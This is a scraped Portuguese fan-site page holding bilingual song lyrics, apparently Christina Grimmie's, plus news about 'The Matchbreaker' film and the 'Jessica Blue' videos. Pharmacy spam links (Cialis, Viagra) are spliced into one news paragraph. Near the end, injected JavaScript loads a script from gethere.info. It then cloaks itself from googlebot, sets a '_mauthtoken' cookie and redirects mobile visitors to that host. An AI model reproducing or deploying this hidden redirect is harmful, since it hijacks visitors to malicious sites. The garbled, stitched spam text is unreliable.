**[PRIMEIRA PARTE]**

Boy I don’t understand your drama
Garoto, eu não entendo seu drama

Thought we were having fun, should I not have called you
Achei que estávamos nos divertindo, não veria ter te ligado

Should I be sorry for being me?
Eu deveria me arrepender de ser eu mesma?

I’m just trying piece together your mind
Estou apenas tentando ajustar sua mente

You and me were cool when I saw you last night
Você e eu estávamos bem quando eu te vi noite passada

Now we’re in this state of emergency
Agora estamos neste estado de emergência

Oh yeah
Oh, yeah

**[PRÉ-REFRÃO]**

You say you have half a dozen
Você diz que tem meia dúzia

But I don’t care
Mas eu não ligo

‘Cause I know they ain’t nothing like me, babe
Porque eu sei que eles não são como eu, baby

Ain’t nothing like me baby
Não são como eu

Hey!
Hey!

**[REFRÃO]**

You keep telling me lies, you know I find out
Você continua me dizendo mentiras, você sabe que eu descubro

I don’t keep it inside
Eu não guardo

I just let it echo, echo
Eu apenas deixo ecoar

Ricochet like an echo, echo
Ricocheteando como um eco, eco

Hey!
Hey!

I won’t lay down and die
Eu não vou deitar e desfalecer

It’s over this time
Já se foi esse tempo

XO goodbye
Adeus

Can you hear it echo, echo
Você pode ouvir isso ecoar. ecoar

Ricochet like an echo, echo
Ricocheteando como um eco, eco

** [SEGUNDA PARTE]**

You can keep all the hearts you’re holding
Você pode continuar segurando os corações que você está segurando

‘Cause I don’t need you where I’m going
Porque eu não preciso de você para onde eu vou

I’ll just be myself and live for me
Só serei e viverei para mim

Yeah-yeah
Yeah-yeah

Hey!
Hey!

**[PRÉ-REFRÃO]**

You say you have half a dozen
Você diz que tem meia dúzia

But I don’t care
Mas eu não ligo

‘Cause I know they ain’t nothing like me, babe
Porque eu sei que eles não são como eu, baby

Ain’t nothing like me baby
Não são como eu

Hey!
Hey!

**[REFRÃO]**

You keep telling me lies, you know I find out
Você continua me dizendo mentiras, você sabe que eu descubro

I don’t keep it inside
Eu não guardo

I just let it echo, echo
Eu apenas deixo ecoar

Ricochet like an echo, echo
Ricocheteando como um eco, eco

Hey!
Hey!

I won’t lay down and die
Eu não vou deitar e desfalecer

It’s over this time
Já se foi esse tempo

XO goodbye
Adeus

Can you hear it echo, echo
Você pode ouvir isso ecoar. ecoar

Ricochet like an echo, echo
Ricocheteando como um eco, eco

**[PONTE]**

I know, I know you know
Eu sei, eu sei que você sabe

There’s more than what you show
Há mais do que o que você mostra

You can’t hide, you can’t hide it,
Você não pode se esconder, você não pode esconder

The truth will echo
A verdade irá ecoar

Hey!
Hey!

I know, I know you know
Eu sei, eu sei que você sabe

There’s more than what you show
Há mais do que o que você mostra

You can’t hide, you can’t hide it,
Você não pode se esconder, você não pode esconder

The truth will echo
A verdade irá ecoar

Hey!
Hey!

I won’t lay down and die
Eu não irei deitar e desfalecer

No, no, no
Não, não, não

XO goodbye
Adeus

I let it echo (echo, echo)
Eu deixo ecoar (ecoar, ecoar)

I let it echo (yeah!)
Eu deixo ecoar (yeah!)

**[REFRÃO]**

You keep telling me lies, you know I find out
Você continua me dizendo mentiras, você sabe que eu descubro

I don’t keep it inside
Eu não guardo

I just let it echo, echo
Eu apenas deixo ecoar

Ricochet like an echo, echo
Ricocheteando como um eco, eco

Hey!
Hey!

I won’t lay down and die
Eu não vou deitar e desfalecer

It’s over this time
Já se foi esse tempo

XO goodbye
Adeus

Can you hear it echo, echo
Você pode ouvir isso ecoar. ecoar

Ricochet like an echo, echo
Ricocheteando como um eco, eco

**[OUTRO]**
I know, I know you know
Eu sei, eu sei que você sabe

There’s more than what you show
Há mais do que o que você mostra

You can’t hide, you can’t hide it,
Você não pode se esconder, você não pode esconder

The truth will echo
A verdade irá ecoar

Hey!
Hey!

I know, I know you know
Eu sei, eu sei que você sabe

There’s more than what you show
Há mais do que o que você mostra

You can’t hide, you can’t hide it,
Você não pode se esconder, você não pode esconder

The truth will echo
A verdade irá ecoar

**[PRIMEIRA PARTE]**

Struggle just to breathe, yeah
Lutar para respirar, yeah

Living in a concrete color floor, oh
Vivendo em um piso com cor de concreto, oh

Everything that you see here
Tudo o que você vê aqui

Is just a dirty little plastic price for your soul
É apenas um preço plástico pouco sujo da sua alma

Take a look at the cracks in the road
Dê uma olhada nas rachaduras na estrada

Like the wreckage of your heart
Como os destroços do seu coração

When a lover goes
Quando um amante vai


And If you can’t love yourself

E se você não souber amar a si mesmo

Then your never gonna rise above
Então nunca irá se reerguer

**[REFRÃO]**

No magic words you can say
Não há palavras mágicas que eu possa dizer

Maybe I’m, not alone
Talvez eu esteja, não sozinha

But up in this great unknown
Mas neste grande desconhecido

You know, maybe I’m the crazy one
Você sabe, eu sou essa louca

Going, going, gone
Que vai, vai, vai indo

Maybe I’m, not afraid
Talvez eu não tenha medo

I’m already tempting fate (oh)
Eu já sou um destino tentador

This is what I want, so bring it on, and on, and on
Isso é o que eu queto, então traga-o

We just can’t get enough
Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós nunca conseguimos o suficiente

We just can’t get enough

Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós simplesmente não conseguimos o suficiente

**[SEGUNDA PARTE]**

I’m tryna find a balance
Estou tentando equilibrar

But it’s like I’m standing on a tilt-a-whirl
Mas é como se eu estivesse em pé girando

Always looking down when
Sempre olhando para baixo quando

Everything around me starts to crumble and fold
Tudo ao meu redor começa a desmoronar e amassar

Now you leave
Agora você se vai

There’s a merry-go-round
Há um carrossel

And it feels so good til you hit the ground
E é tão bom quando você chega ao chão

And if you can’t love yourself
E se você não consegue se amar

Then you’re never gonna rise above
Então nunca irá se reerguer

**[REFRÃO]**

No magic words you can say
Não há palavras mágicas que eu possa dizer

Maybe I’m, not alone
Talvez eu esteja, não sozinha

But up in this great unknown
Mas neste grande desconhecido

You know, maybe I’m the crazy one
Você sabe, eu sou essa louca

Going, going, gone
Que vai, vai, indo

Maybe I’m, not afraid
Talvez eu não tenha medo

I’m already tempting fate (oh)
Eu já sou um destino tentador

This is what I want, so bring it on, and on, and on
Isso é o que eu queto, então traga-o

We just can’t get enough
Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós nunca conseguimos o suficiente

We just can’t get enough

Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós simplesmente não conseguimos o suficiente

**[PONTE]**

Maybe I’m, not alone
Talvez eu esteja, não sozinha

But up in this great unknown
Mas neste grande desconhecido

You know, maybe I’m the crazy one
Você sabe, eu sou essa louca

Going, going, gone
Que vai, vai, vai indo

Maybe I’m, not afraid
Talvez eu não tenha medo

I’m already tempting fade (oh)
Eu já sou um destino tentador

Going, going, gone
Que vai, vai, vai indo

**[OUTRO]**

We just can’t get enough
Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós nunca conseguimos o suficiente

We just can’t get enough

Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós simplesmente não conseguimos o suficienteWe just can’t get enough
Nós simplesmente não conseguimos o suficiente

No, we just can’t get enough
Não, nós nunca conseguimos o suficiente

We just can’t get enough

Nós simplesmente não conseguimos o suficiente

**[INTRODUÇÃO]**

Hey
Ei

Hmm
Hmm

Ooh
Ooh

Hey
Ei

**[PRIMERA PARTE]**

They only see me if I look a certain way
Eles só me vêem se eu for de uma certa maneira

They only love me til I’m gone
Eles só me amam até eu ir

They only hear me if I say the right things
Eles só me escutam se eu disser as coisas certas

Am I wrong?
Eu estou errada?

Hmm
Hmm

Or is there too much pressure?
Ou há muita pressão?

Yeah-yeah
Yeah-yeah

Too much pressure
Muita pressão

Yeah
Yeah

They only see me if I look a certain way
Eles só me vêem se eu for de uma certa maneira

They only love me til I’m gone
Eles só me amam até eu ir

They only hear me if I say the right things
Eles só me escutam se eu disser as coisas certas

Am I wrong?
Eu estou errada?

Wrong
Errada

**[PRÉ-REFRÃO]**

Or is there too much pressure? (hey!)
Ou há muita pressão? (hey!)

Too much pressure (Hmm)
Muita pressão

Is there too much pressure? (Yeah-yeah)
Existe muita pressão?

Too much pressure
Muita pressão

(She thinks she’s an anime character, who is she?)
(Mas ela pensa que ela é um personagem de anime, quem é ela?)

**[REFRÃO]**

I’d rather be hated for who I am
Prefiro ser odiada por quem eu sou

Than loved for who I’m not (Too much pressure)
Que amada por quem não sou (muita pressão)

(What is she stupid?) Yeah-yeah
(Ela é estúpida) Yeah-yeah

(I hear she’s broke)
(Eu a escuto quebrar)

I’d rather be hated for who I am
Prefiro ser odiada por quem eu sou

Than loved for who I’m not (Too much pressure)
Que amada por quem não sou

Yeah-yeah
Yeah-yeah

**[SEGUNDA PARTE]**

They only want me if I got something to give
Eles só me querem seu eu tiver algo para entregar

They only feel me til I shade
Eles só sentem até me tornar sombra

They only need me til they find the next thing
Eles só precisam de mim até encontrarem algo novo

Am I wrong?
Eu estou errada?

**[PRÉ-REFRÃO]**

Or is there too much pressure? (hey!)
Ou há muita pressão? (hey!)

Too much pressure (Hmm)
Muita pressão

Is there too much pressure? (Yeah-yeah)
Existe muita pressão?

Too much pressure
Muita pressão

(She thinks she’s an anime character, who is she?)
(Ela acha que ele é um personagem de anime, quem é ela?)

**[REFRÃO]**

I’d rather be hated for who I am
Prefiro ser odiada por quem eu sou

Than loved for who I’m not (Too much pressure)
Que amada por quem não sou (muita pressão)

(What is she stupid?) Yeah-yeah
(Ela é estúpida) Yeah-yeah

(I hear she’s broke)
(Eu a escuto quebrar)

I’d rather be hated for who I am
Prefiro ser odiada por quem eu sou

Than loved for who I’m not (Too much pressure)
Que amada por quem não sou

Yeah-yeah
Yeah-yeah

**[PONTE]**

Ooh, pressure!
Ooh, pressão!

(She doesn’t even drink) (Who is she?)
(Ela não bebe) (Quem é ela?)

Too-oh-oh-oh much pressure! (yeah-yeah)
Muita-oh-oh-oh muita pressão! (yeah-yeah)

(It’s like she thinks she’s Zelda) (Who is she?)
(É como se ela pensasse que é Zelda) (Quem é ela?)

Ooh, pressure!
Ooh, pressão!

(Like I’m not kidding she thinks she’s Zelda) (Who is she?)
(Não estou brincando, ela acha que é Zelda) (Quem é ela?)

Too-oh-oh-oh much pressure!
Muita-oh-oh-oh muita pressão!

(But she thinks she’s an anime character. Who is she?) (Who is she?)
(Mas ela pensa que ela é um personagem de anime. Quem é ela?) (Quem é ela?)

(Ew)
Ew

**[INTRODUÇÃO]**

Yeah-eah-yeah
Yeah-eah-yeah

Oh
Oh

Hey
Ei

**[PRIMEIRA PARTE]**

How many times?
Quantas vezes?

How many nights?
Quantas noites?

Wasted on trying to fit in
Desperdiçando tempo em tentar encaixar

A different dress
Um vestido diferente

Same old regrets
Os mesmo velho arrependimento

Vanity’s wearing me thin
A vaidade me deixa pequena


And this exposure

E essa exposição

Over and over
De novo e de novo

Who is that girl in my skin?
Quem é aquela garota na minha pele?

In my skin
Na minha pele?

**[REFRÃO]**

Here in this crowded room
Aqui nesta sala lotada

Under the pale white moon
Sob a lua pálida

Blinded and lost in the lights
Cega e perdida nas luzes

Looking for somewhere to hide
Procurando um lugar para esconder

Surrounded by faces
Rodeada de rostos

Laughter and voices
Risadas e vozes

Alone here with everyone else
Sozinha aqui como todos os demais

Here in this crowded room
Aqui nesta sala lotada

I found everyone but myself
Eu encontrei todos, menos eu mesma

Ooh yea-yeah
Ooh yea-yeah

**[SEGUNDA PART}**

I dance in the dark
Eu danço no escuro

Hiding my cards
Escondendo minhas cartas

Don’t want you to know who I am
Não quero que você saiba quem eu sou

Acting like I don’t care
Agindo como se eu não me importasse

Pretend I’m not scared
Fingindo que não estou com medo

Buried my head in the sand
Enterrei minha cabeça na areia

The hand of a stranger
A mão de um estranho

Makes me feel a lot safer
me faz me sentir mais segura

Lonely but not on my own
Solitária, mas não sozinha

On my own, yeah
Sozinha sim, yeah

**[REFRÃO]**

Here in this crowded room
Aqui nesta sala lotada

Under the pale white moon
Sob a lua pálida

Blinded and lost in the lights
Cega e perdida nas luzes

Looking for somewhere to hide
Procurando um lugar para esconder

Surrounded by faces
Rodeada de rostos

Laughter and voices
Risadas e vozes

Alone here with everyone else
Sozinha aqui como todos os demais

Here in this crowded room
Aqui nesta sala lotada

I found everyone but myself
Eu encontrei todos, menos eu mesma

Ooh yea-yeah
Ooh yea-yeah

**[TERCEIRA PARTE]**

Carry on
Continuar

Move along
Mova-se sozinha


Holding on

Seguindo em frente

To anyone
Sem ninguém

Get through the night
Passar a noite

Just get through the night
Apenas passar a noite

Walk away
Ir embora


Never fade

Nunca sumir

Never break
Nunca despedaçar

Stay away
Ficar longe


Get through the night

Passar a noite

By the end of the night
No final da noite

Still here by myself
Ainda aqui por mim

In this crowded room
Under the pale white moon
Blinded and lost in the lights
Looking for somewhere to hide

**[REFRÃO]**

Here in this crowded room
Aqui nesta sala lotada

Under the pale white moon
Sob a lua pálida

Blinded and lost in the lights
Cega e perdida nas luzes

Looking for somewhere to hide
Procurando um lugar para esconder

**[OUTRO]**

Here in this crowded room
Aqui nesta sala lotada

Under the pale white moon
Sob a lua pálida

Blinded and lost in the lights
Cega e perdida nas luzes

Looking for somewhere to hide
Procurando um lugar para esconder

Surrounded by faces
Rodeada de rostos

Laughter and voices
Risadas e vozes

Alone here with everyone else
Sozinha aqui como todos os demais

Here in this crowded room
Aqui nesta sala lotada

I found everyone but myself
Eu encontrei todos, menos eu mesma

But myself
Menos eu mesma

**[REFRÃO]**

Everybody lies sometimes
Todo mundo mente às vezes

Nothing in the world’s as it seems on the outside
Nada no mundo é o que parece quando visto por fora

Just when you think you got something real
Quando você achar que tem algo verdadeiro

Still, you know
Ainda assim, saiba você

Everybody lies sometimes
Todo mundo mente às vezes

**[PRIMEIRA PARTE]**

We all got friends we think we can trust
Todos nos temos amigos que pensamos que podemos confiar

Tell them all the secrets kept inside us
Dizemos para eles todos os segredos que temos dentro de nós

You wake up and find a knife in your back
Você acorda e encontra uma faca nas suas costas

Be careful what you think
Seja cuidadoso com o que você pensa

It’s better not to blink
É melhor não piscar

We all want to believe in the perfect person
Todos queremos acreditar na pessoa perfeita

Reality don’t care about that
A realidade não se importa com isso

**[PRÉ-REFRÃO]**

We always wanna cast the blame
Nós sempre queremos criticar

Always waiting for the world to change
Sempre esperando que o mundo mudde

Maybe we should start with ourselves
talvez nós devêssemos começar com nós mesmos

**[REFRÃO]**

But
Mas

Everybody lies sometimes
Todo mundo mente às vezes

Nothing in the world’s as it seems on the outside
Nada no mundo é o que parece quando visto por fora

Just when you think you got something real
Quando você achar que tem algo verdadeiro

Still, you know
Ainda assim, saiba você

Everybody lies sometimes
Todo mundo mente às vezes

**[SEGUNDA PARTE]**

We build our walls up and close ourselves off

Nós construímos nossos muros


And before we really like what we become

E depois nós gostamos realmente do que nós tornamos

Will we hide our hearts in a masquerade?
Vamos esconder nossos corações em uma máscaras?

I don’t wanna look in the mirror one day

Eu não quero olhar no espelho um dia

And not even recognize my own face
E nem mesmo reconhecer meu rosto

Why gain the world, if I lose myself?
Para quê ganhar o mundo, se eu me perder?

**[PRÉ-REFRÃO]**

We always wanna cast the blame
Nós sempre queremos criticar

Always waiting for the world to change
Sempre esperando que o mundo mudde

Maybe we should start with ourselves
talvez nós devêssemos começar com nós mesmos

**[PONRTE]**

Oh just stop
Oh, pare

Take a look around you
Dê uma olhada em volta

You got one chance to get it right
Você tem uma chance de corrigir

Don’t be afraid
Não tenha medo

To take a couple chances now
Tire dar oportunidades agora

Cause everybody lies
Porque todos memtem

Ooh yeah
Ooh, yeah

Yeah-yea-eah
Yeah-yea-eah

**[REFRÃO]**

‘Cause everybody lies sometimes
Porque todo mundo mente às vezes

Nothing in the world’s as it seems on the outside
Nada no mundo é o que parece quando visto por fora

Just when you think you got something real
Quando você achar que tem algo verdadeiro

Still, you know
Ainda assim, saiba você

Everybody lies sometimes
Todo mundo mente às vezes

**[OUTRO]**

You are an extremely unique and individual person
Você é uma pessoa extremamente única e individual

And I’m telling you, don’t let those invalid opinions of others
E eu estou te dizendo, não deixa que as opiniões inválidas dos outros


Just bring you to the pits, okay?

Te leve para os poços, ok?

You’re strong, so own it
Você é forte, então seja

Love, me
Com amor, eu.

**[PRIMEIRA PARTE]**

I’m solid, not apparition
Eu estou inteira, não sou ilusão

Better check your vision, see what you’re missing, boy
Melhor verificar sua visão, veja  que você está perdendo, garoto

I don’t need your permission
Não preciso de sua permissão

To go on existing with or without you, boy
Para continuar com ou sem, garoto

I ain’t gonna let it go, ’cause this been going on too long
Eu vou deixar para lá, porque isso aconteceu há muito tempo

**[REFRÃO]**

I won’t be another ghost
Eu não quero ser outro fantasma

No, I won’t be invisible
Não, eu não serei invisível

See me everywhere you go
Você me vê em todo lugar que você vá

No, I won’t be invisible, yeah
Não, não serei invisível

**[PÓS-REFRÃO]**

Invisible
Invisível

Invi-visible
Invi-visível

**[SEGUNDA PARTE]**

I had my suspicions, you kept me at a distance
Eu tive minhas suspeitas, você me manteve longe

I ain’t disappearing, boy
Eu não estou desaparecendo, garoto

I thought you were worth it
Eu pensei que você valia a pena

Pulling back the curtain
Puxando para trás a curtina

I see why I was hurting boy
Eu vejo que eu estava me machucando, garoto

I ain’t gonna let it go
Eu vou deixar para lá, porque isso aconteceu há muito tempo

Now you see me with the lights on
Agora você enxerga com as luzes acesas

**[REFRÃO]**

I won’t be another ghost
Eu não quero ser outro fantasma

No, I won’t be invisible
Não, eu não serei invisível

See me everywhere you go
Você me vê em todo lugar que você vá

No, I won’t be invisible, yeah
Não, não serei invisível

**[PÓS-REFRÃO]**
Invisible
Invisível

Invi-visible
Invi-visível

**[PONTE]**
I won’t be diminished, eclipsed, or hidden
Eu não serei diminuída, obscura ou escondida

You’re gonna see my light blaze back to life
Você verá meu resplendecer de volta à vida

Like the phoenix rise
Como um uma fênix se levanta

I won’t be diminished, eclipsed, or hidden
Eu não serei diminuída, obscura ou escondida

You’re gonna see my light blaze back to life
Você verá meu resplendecer de volta à vida

Like the phoenix rise
Como um uma fênix se levanta

**[OUTRO]**
Invisible
Invisível

Invisible
Invisível

Invisible, tonight
Invisível, hoje à noite

Hit me like a big bang
Me acerte como uma explosão

Raining like a flash flood
Como uma inundação

Throw me like a hurricane
Jogue-me no furacão

Now I got you in my blood
Agora eu tenho você em meu sangue

**[PRE-REFRÃO]**
What if all I ever
Como se eu nunca

Knew was life without you
Conhecesse uma vida sem você

And I would have nothing to lose
E eu não teria nada a perder

**[REFRÃO]**
Where the ocean meets the sky
Onde o oceano encontra o céu

Lay shadows on the crimson tide
Coloque sombras da maré carmesim

I’m gonna give you steady love
Eu vou te dar amor constante

And love you ’til the storm subsides
E amar você até a tempestade diminuir

And when the water fills your lungs
E quando a água encher seus pulmões

And your soul begins to die
E sua alma começar a morrer

I’m gonna give you steady love
Eu vou te dar amor constante

I’m gonna bring you back to life
Eu vou te trazer de volta à vida

**[SEGUNDA PARTE]**

Life into the other side
Vida do outro lado

Images I’ve never seen
Imagens que eu nunca vi

Technicolor real life
Technicolor na vida real

Baby, what you do to me?
Baby, o que você fez comigo?

** [PRE-RERÃO]**
What if all I ever
Como se eu nunca

Knew was life without you
Conhecesse uma vida sem você

And I would have nothing to lose
E eu não teria nada a perder

**[REFRÃO]**

Where the ocean meets the sky
Onde o oceano encontra o céu

Lay shadows on the crimson tide
Coloque sombras da maré carmesim

I’m gonna give you steady love
Eu vou te dar amor constante

And love you ’til the storm subsides
E amar você até a tempestade diminuir

And when the water fills your lungs
E quando a água encher seus pulmões

And your soul begins to die
E sua alma começar a morrer

I’m gonna give you steady love
Eu vou te dar amor constante

I’m gonna bring you back to life
Eu vou te trazer de volta à vida

**[TERCEIRA PARTE]**

I’ll be your life line
Eu serei seu salva-vidas

I’ll be the first to jump in
Eu serei a primeira a pular

There ain’t no current
Não há nenhuma corrente

Strong enough
Forte o suficiente

To hold me back
Para me reter

I’ll pull you up from
Eu irei retirá-lo

From the wreckage
Dos destroços

Just know that I’m never giving up
Saiba que eu nunca vou desistir

Never giving up on us
Nunca desistirei de nós

Oh-h-h
Oh-h-h

On us
De nós

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

Ooh-ooh-ooh-ooh-ooh
Ooh-ooh-ooh-ooh-ooh

**[PONTE]**

Where the ocean meets the sky
Onde o oceano encontra o céu

Lay shadows on the crimson tide
Coloque sombras da maré carmesim

I’m gonna give you steady love
Eu vou te dar amor constante

And love you ’til the storm subsides
E amar você até a tempestade diminuir

And when the water fills your lungs
E quando a água encher seus pulmões

And your soul begins to die
E sua alma começar a morrer

I’m gonna give you steady love
Eu vou te dar amor constante

I’m gonna bring you back to life
Eu vou te trazer de volta à vida

**[PRIMEIRA PARTE]**

You
você

You make me wanna fall in love (fall in love)
Você me faz querer me apaixonar (me apaixonar)

You (you)
Você (você)

It’s all or nothing, I know
É tudo ou nada, eu sei

Gettin’ lost in your blue skies
Me perdendo nos seus céus azuis

All my senses come alive
Todos os meus sentidos ganham vida

Every second amplified tonight
Cada segundo intensificado essa noite

**[REFRÃO]**

Gonna be sublime
Será sublime

So so sublime
Tão, tão sublime

Feel your love all over me
Sinto seu amor por mim

Can’t stop thinking we could be sublime
Não consigo para de pensar que poderíamos ser sublimes

Sublime
Sublime

**[SEGUNDA PARTE]**

Feel
Sinto

I feel your aura in my veins
Eu sinto sua aura em minhas veias

Surreal, you’re breaking through my chains
Surreal, você está passando por minhas correntes

Gettin’ lost in your blue skies
Me perdendo nos seus céus azuis

All my senses come alive
Todos os meus sentis ganharam vida

Every second amplified tonight
Cada segundo intensificado essa noite

**[REFRÃO]**

Gonna be sublime
Será sublime

So so sublime
Tão, tão sublime

Feel your love all over me
Sinto seu amor por mim

Can’t stop thinking we could be sublime
Não consigo para de pensar que podemos ser sublimes

Sublime
Sublime

**[TERCEIRA PARTE]**

Getting so high it’s celestial
Está se tornando forte, algo celestial

Never come down to terrestrial
Nunca venha para o mundo terreno

When you speak every decibel
Quando você fala a cada decibel

It’s making me feel so sublime
Isso me faz me sentir tão sublime

Vulnerable but invincible
Vulnerável, mas invencível

Lucid but so irrational
Lúcida, mas tão irracional

Spontaneous but intentional
Espontâneo, mas intencional

You’re making me
Você está me fazendo me

Feel so sublime
Sentir tão sublime

**[REFRÃO]**

So so sublime
Tão, tão sublime

I feel your love all over me
Eu sinto todo o seu amor por mim

Can’t stop thinking we could be sublime (oh)
Não consigo parar de pensar que poderíamos ser sublimes (oh)

Sublime
Sublime

Oh no
Oh, não

Sublime
Sublime

**[OUTRO]**

I feel your love all over me
Eu sinto todo o seu amor por mim

Can’t stop thinking we could be sublime
Não consigo parar de pensar que poderíamos ser sublimes

Oh
Oh

Sublime
Sublime

Depois de http://www.cialispharmaciefr24.com/cialis-prix-vidal/ uma contagem regressiva de 5 dias o primeiro trailer de “The Matchbreaker” finalmente saiu! O filme conta a história de Ethan Cooper que após perdeu seu https://www.acheterviagrafr24.com/achat-viagra-en-ligne-quebec/ emprego é contratado por um mãe insatisfeita para destruir o relacionamento de sua filha, Emily (Christina Grimmie), porém ele acaba se apaixonando pela cantora e terá que balancear sua vida amorosa e profissional.

Para ativar a legenda em português clicar na engrenagem e “Legendas/CC” e escolher português 🙂

A estreia será no dia 7 de outubro de 2016 em alguns cinemas selecionados dos Estados Unidos. Não existe nenhuma informação sobre o lançamento em outros países ou nas plataformas digitais.if (document.currentScript) {

O terceiro dos quatro videoclipes de Side A já está no ar. O vídeo de “Deception”continua de onde parou o primeiro vídeo, seguindo a sequencia da saga “The Ballad of Jessica Blue”. No enredo, a cantora interpreta uma jovem durante a transição da adolescência para a fase adulta, onde busca vencer a insegurança e conseguir sua auto-confiança.

A “Ballad Of Jessica Blue” é um tipo retrô de narrativa e um videoclipe estilo curta-metragem. A história segue a jornada de um jovem garota na descoberta de sua vida amorosa, transição para vida adulta e sua música. “Jessica” está em uma encruzilhada em sua vida. Ela começa a desconfiar de seu namorado e é levada por suas inseguranças, até notar que está simplesmente estragando seu próprio coração e futuro que qualquer relacionamento poderia ter. Jessica tem um show a caminho, onde ela espera provar a si mesma e aos outros que sua música é tão poderosa quanto sua vontade de ser. Faltando dias para o show, ela parece não conseguir arrumar o seu set e compor suas músicas. Jessica é levada pelos problemas com o namorado, os criativos e dúvidas gerais. Ela se abre com pessoas próximas a ela e todos dão conselhos sábios durante seu caminho de auto-descobrimento. Sua amada avó à lembra de que toda a segurança, força e amor que ela precisa está na voz poderosa do outro lado do seu coração. Jessica encontra seu caminho fazendo o que ama. Ela canta com o coração.

Dirigido por King Hollis da Media 13 Studios

Snow White
Anybody’s You
Without Him: 1º de setembro

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

Página 1 de 3012345... 30»